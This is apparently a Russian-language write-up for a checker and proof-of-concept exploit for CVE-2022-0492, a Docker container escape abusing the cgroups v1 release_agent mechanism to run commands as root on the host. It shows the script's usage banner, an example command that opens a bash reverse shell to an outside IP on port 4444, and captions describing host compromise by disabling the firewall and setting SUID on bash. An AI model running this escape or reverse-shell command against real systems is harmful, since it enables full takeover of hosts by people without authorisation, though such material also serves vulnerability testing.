
Средство проверки выхода из Docker и PoC через CAP_SYS_ADMIN и через пользовательские пространства имён (CVE-2022-0492)
Для эксплуатации уязвимости злоумышленнику требуется доступ к контейнеру Docker, запущенному на уязвимой системе. После успешной эксплуатации атакующий может выйти из контейнера и получить полный контроль над хост-системой.
Уязвимость была обнаружена в функции cgroup_release_agent_write в файле kernel/cgroup/cgroup-v1.c ядра Linux. Эта ошибка при определённых обстоятельствах позволяет использовать функцию release_agent из cgroups v1 для повышения привилегий и неожиданного обхода изоляции пространств имён.
Проще говоря, cgroups v1 имеет функцию release_agent, которая запускает программу при завершении процесса в cgroup. Если notify_on_release включён, ядро выполняет бинарный файл release_agent от root. Изменяя файл release_agent, злоумышленник может выполнить собственный бинарный файл с повышенными привилегиями, захватив управление системой. Однако файл release_agent принадлежит root, поэтому изменить его может только пользователь с root-доступом.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
Пользователь root на хост-машине взломан путём отключения UFW и отправки реверсивной оболочки.

Пользователь root на хост-машине взломан путём установки SUID на bash, также отправлена реверсивная оболочка.
